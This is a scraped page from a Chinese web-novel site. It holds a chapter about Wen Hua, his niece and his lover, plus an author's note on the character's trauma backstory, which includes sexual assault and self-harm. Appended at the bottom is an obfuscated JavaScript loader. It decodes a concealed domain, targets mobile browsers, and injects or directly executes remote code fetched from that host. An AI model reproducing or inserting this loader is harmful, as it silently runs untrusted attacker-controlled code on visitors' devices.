返回没有情人的情人节  皆非首页

关灯 护眼     字体:

更快章节推荐:三易小说网【高速更新_www.31fq.com】 

上一页 目录 下一章

“那你们吵架的时候你总是会让着舅妈,舅妈偶尔也会哄你,这样算好吗?”

“当然,人与人是相对平等的,没有道理让男人一直忍让女人,也没有道理让女人一直包容男人。”

温清司似懂非懂地点点头:“所以舅舅你更多的让着舅妈就代表你更珍惜这段关系,更爱舅妈,不会分开的对吧?”

“对。”温华说,走到红绿灯前站定,“宝贝,舅舅向你发誓,在这个世界上,舅舅最爱的人就是你舅妈,死也不会跟她分开。”

温清司有点嫌弃:“……舅舅你还是不要这么说了,有点恐怖。”

“哈哈哈,傻丫头”温华笑得如晚风般诱人,“打电话来就想跟我说这些?你舅妈呢?”

“舅妈?舅妈好像出去了。”

“出去?”温华看见镜头里出现曹雅姬端着水果过来的身影,笑容顿住,“去哪了?”

“不知道诶,好早就出去了。”

温华愣了两秒钟,随口跟温清司说了两句就挂断电话,手指在屏幕上有些慌乱地划动,突然地震动让温华吓了一跳,手机差点从指缝间跌落。

是方晚打来的电话。

温华连忙接通:“喂……”

“温镜一!”方晚粗声喊他,“你在哪啊?”

“我……我在……”温华正要看旁边的路标,方晚不耐烦地声音又传来。

“别看了,头,往左边转。”

绿灯在闪烁,在对面街道商铺传来的情人缠绵之声里,在那这正是下班时间车水马龙,人行道上摩肩接踵的潮水里,他一眼就看到了自己想要的女人。

美丽的女人,穿着被晚霞所染织的裙子,手里捧了一大束玫瑰花,高跟鞋在白色交接的斑马线上跳动,就像踩在他心上一样急促。

————————————————————

Tips:

复制评论区我回答一位读者的问题。

温华在我设定之初的时候是一个“天生坏种”,因为原型是我现实中非常讨厌的一个人,他真的我只能用恶心来形容,现实生活中又确实是个做生意的大老板(光在游戏里就花了几百万的那种),我就一气之下写了进来(他的游戏ID就叫温华,我们喊他温老板,温总,在世界上对骂会喊他三姓家奴)。

但是正式写的时候还是觉得本身写这么个人物就有点自我报复的私心,所以我就改了一点点设定,把先天变成了后天,之前专门写了一章说了,在他精神受到极度创伤的时候,心理扭曲从“黄赌毒乃至变成战争犯恐怖分子”选哪个好?是不是黄好像还能接受一下?所以就设定了这个。

至于温华的抑郁症,这是他其中一个精神疾病,他当时是几个精神疾病同时存在的,我前阵子考试考了创伤应激维持时间大概是最起码半个月以上到半年,后面到慢性的有超三分之一终生无法治愈,所以文里也写了他维持了半年左右,到现在快二十年了仍然会时不时受到惊吓。

然后是抑郁症,还有一些功能性的精神障碍,有短暂性的勃起功能障碍,没办法恢复生理功能,因为强奸他的人无论男人女人乃至人妖都有,所以他那段时间除了姥爷没办法见任何人,谁碰他都会让他应激。

他尝试过很多次的自杀,身上有不少自残留下的伤疤,但后来一部分能够做的都做修复手术消除了,最后是强大的求生欲以及他天生不服输的意志力支撑他必须度过去,活下去,而他的精神已经很脆弱了,不可能再去精神内耗自己慢慢消化,于是就只能化作性欲去“伤害”别人,而且普通性爱是没用的,他必须拔高刺激阈值来冲刷那些痛苦。

而最痛苦的就是他本身非常正直,真的是根正苗红,而他要清醒地看着自己变成自己最痛恨的那种人,要变成那个罪魁祸首的李决楚,这才是他最痛苦的,要一点点看着自己活成自己最讨厌的人。

要么毁灭别人,要么毁灭自己,自私的基因让他选择毁灭别人来求生。(我前面有写方晚和曹雅姬在超市里讨论道金斯的《自私的基因》。)

陆承泽肯定干不过温华的,我写这些是希望写出温华现在的一帆风顺,让他陷入巨大的幸福之中,然后这些一帆风顺的幸福被方晚最后一下推翻的那种感觉。

所以我写了陆承泽是那种“会在人最幸福的时候毁掉对方的人”,算是一种暗示吧,虽然在最幸福的时候毁掉温华的不是陆承泽。

至于大家好像很难理解温华的爸爸为什么要那么做,其实也很好理解,因为我们不是这种人,所以我们无法去读通这种人的脑回路。

因为大家都是一个好人,你怎么能做到以一个好人的思维去逆推试图理顺坏人的思维呢?这个世界上那么多莫名其妙的人,你能去理解吗?

就像那些塌房的明星一样,已经很有钱了还要偷税漏税,已经很帅了周围不缺女人了还要去嫖娼,这你能完全想明白为什么吗?

所以我才写了“路西法效应”,我觉得这是我唯一能够试图去捋顺一点他们那种怪异脑回路的佐证,就是在“一定社会情况下,好人也会变成坏人”,掌握权力之后就会激发那种丑陋的本性或者控制不住这种人性去不断奴役和占有。

因此,其实我也不是很能理解“李决楚”,他就是我们现实中那种明明已经拥有一切最好的资源还做出一些莫名其妙的事的人的一些具象化代表人物,我写了,不代表我能理解这种人哈。

『加入书签,方便阅读』

上一页 目录 下一章

function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};